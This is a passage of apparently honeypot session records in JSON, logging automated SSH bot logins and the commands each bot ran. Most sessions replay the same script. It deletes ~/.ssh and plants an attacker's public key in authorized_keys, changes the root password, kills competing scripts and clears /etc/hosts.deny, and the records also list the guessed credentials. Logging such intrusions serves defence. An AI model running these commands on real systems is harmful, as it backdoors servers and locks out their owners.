-l"},{"seq":4,"at":"2026-08-27T05:45:32.939254+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:45:33.264489+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123qwe@\\nzYSnK5z7ZnhN\\nzYSnK5z7ZnhN\"|passwd|bash"},{"seq":6,"at":"2026-08-27T05:45:33.588628+00:00","kind":"input","latency_ms":null,"data":"echo \"123qwe@\\nzYSnK5z7ZnhN\\nzYSnK5z7ZnhN\\n\"|passwd"},{"seq":7,"at":"2026-08-27T05:45:33.913565+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:45:34.552460+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T05:45:34.679765+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T05:45:34.851230+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T05:45:35.175197+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T05:45:36.367419+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:45:36.696699+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T05:45:38.620279+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T05:45:38.948437+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T05:45:39.807448+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T05:45:40.131578+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T05:45:41.856414+00:00","kind":"output","latency_ms":null,"data":" 05:45:41 up 7 days, 2:35, 0 user, load average: 0.06, 0.06, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T05:45:42.183036+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T05:45:43.707114+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T05:45:44.032454+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T05:45:45.741620+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T05:45:46.067998+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T05:45:47.437581+00:00","kind":"output","latency_ms":null,"data":"top - 05:45:47 up 7 days, 2:35, 0 user, load average: 0.06, 0.06, 0.05\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T05:45:47.762533+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T05:45:49.023387+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T05:45:49.348901+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T05:45:49.643536+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T05:45:49.967385+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T05:45:51.333626+00:00","kind":"output","latency_ms":null,"data":"ubuntu"},{"seq":31,"at":"2026-08-27T05:45:51.658601+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T05:45:53.662686+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T05:45:53.987193+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T05:45:55.206665+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ubuntu","password":"123qwe@","method":"password","accepted":true,"tier":"other"}]} {"id":"58ff4cae-b44a-4118-8862-2327b3d79ae9","name":"honest-vigilant-peccary","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":43386,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":323,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:43:53.133955+00:00","ended_at":"2026-08-27T05:43:54.758512+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:43:22.236591+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:43:22.561374+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:43:27.649316+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:43:29.639199+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:43:29.960628+00:00","kind":"input","latency_ms":null,"data":"echo \"root:FC7J3LQJMOFh\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:43:30.288524+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:43:30.622178+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:43:31.000071+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T05:43:32.640399+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T05:43:32.966555+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T05:43:34.384581+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T05:43:34.711476+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T05:43:36.591066+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T05:43:36.918646+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T05:43:37.940954+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T05:43:38.265669+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T05:43:39.804820+00:00","kind":"output","latency_ms":null,"data":" 05:43:39 up 7 days, 2:33, 0 user, load average: 0.04, 0.04, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T05:43:40.128443+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T05:43:42.263650+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T05:43:42.600997+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T05:43:44.585100+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T05:43:44.908302+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T05:43:46.996254+00:00","kind":"output","latency_ms":null,"data":"top - 05:43:46 up 7 days, 2:33, 0 user, load average: 0.04, 0.04, 0.03\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T05:43:47.320429+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T05:43:49.283359+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T05:43:49.608173+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T05:43:50.262150+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T05:43:50.586100+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T05:43:51.243756+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T05:43:51.567609+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T05:43:52.811511+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T05:43:53.134855+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T05:43:54.660901+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Kc@123456","method":"password","accepted":true,"tier":"other"}]} {"id":"f3ccc5e2-0539-4200-8222-3abf799f8e95","name":"jolly-daring-dipper","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":58808,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":313,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:41:55.054504+00:00","ended_at":"2026-08-27T05:41:57.305487+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:41:24.358855+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:41:24.685085+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:41:28.823427+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:41:30.407015+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:41:30.721316+00:00","kind":"input","latency_ms":null,"data":"echo \"root:2YqtmL7kZRgP\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:41:31.034750+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:41:31.358282+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:41:32.704403+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T05:41:32.853910+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T05:41:33.167480+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T05:41:35.237215+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T05:41:35.550525+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T05:41:36.781492+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T05:41:37.095543+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T05:41:39.164450+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T05:41:39.477540+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T05:41:41.131033+00:00","kind":"output","latency_ms":null,"data":" 05:41:41 up 7 days, 2:31, 0 user, load average: 0.03, 0.03, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T05:41:41.445229+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T05:41:43.024204+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T05:41:43.337779+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T05:41:45.480708+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T05:41:45.795650+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T05:41:47.970969+00:00","kind":"output","latency_ms":null,"data":"top - 05:41:47 up 7 days, 2:31, 0 user, load average: 0.03, 0.03, 0.03\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T05:41:48.284048+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T05:41:49.137616+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T05:41:49.451666+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T05:41:50.807812+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T05:41:51.117579+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T05:41:52.325665+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T05:41:52.641149+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T05:41:54.740780+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T05:41:55.055021+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T05:41:57.210702+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Aa@11223344","method":"password","accepted":true,"tier":"other"}]} {"id":"a41147b0-202e-43e5-9f3e-205428a8b2b4","name":"lunar-sandy-condor","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":42688,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":326,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:39:55.667521+00:00","ended_at":"2026-08-27T05:39:57.381533+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2300,"events":[{"seq":1,"at":"2026-08-27T05:39:25.667759+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:39:25.991804+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:39:30.221483+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:39:32.351145+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:39:32.677127+00:00","kind":"input","latency_ms":null,"data":"echo \"root:FUWQS108t4EX\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:39:33.003758+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:39:33.327574+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:39:33.507990+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T05:39:34.463353+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T05:39:34.789952+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T05:39:35.972112+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T05:39:36.306458+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T05:39:37.649678+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T05:39:37.978548+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T05:39:39.427690+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T05:39:39.753374+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T05:39:41.482157+00:00","kind":"output","latency_ms":null,"data":" 05:39:41 up 7 days, 2:29, 0 user, load average: 0.19, 0.2, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T05:39:41.810729+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T05:39:43.564565+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T05:39:43.889958+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T05:39:45.572990+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T05:39:45.900130+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T05:39:47.868148+00:00","kind":"output","latency_ms":null,"data":"top - 05:39:47 up 7 days, 2:29, 0 user, load average: 0.19, 0.2, 0.2\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T05:39:48.193889+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T05:39:50.361095+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T05:39:50.698168+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T05:39:51.746064+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T05:39:52.073914+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T05:39:53.999688+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T05:39:54.326167+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T05:39:55.342496+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T05:39:55.668345+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T05:39:57.282743+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"qazxsw","method":"password","accepted":true,"tier":"other"}]} {"id":"8c6bd2bf-d09d-425a-8a54-da7c84c6eb5e","name":"wry-diligent-skink","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":60366,"username":"albert","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":320,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:37:49.360758+00:00","ended_at":"2026-08-27T05:37:51.088097+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-27T05:37:22.974876+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:37:23.292065+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:37:27.427241+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:37:28.710412+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:37:29.033372+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\nZ5nSmXUWzES3\\nZ5nSmXUWzES3\"|passwd|bash"},{"seq":6,"at":"2026-08-27T05:37:29.353669+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\nZ5nSmXUWzES3\\nZ5nSmXUWzES3\\n\"|passwd"},{"seq":7,"at":"2026-08-27T05:37:29.671686+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:37:30.754156+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T05:37:30.758761+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T05:37:31.233183+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T05:37:31.550915+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T05:37:33.115695+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:37:33.436829+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T05:37:35.558113+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T05:37:35.879708+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T05:37:36.704050+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab 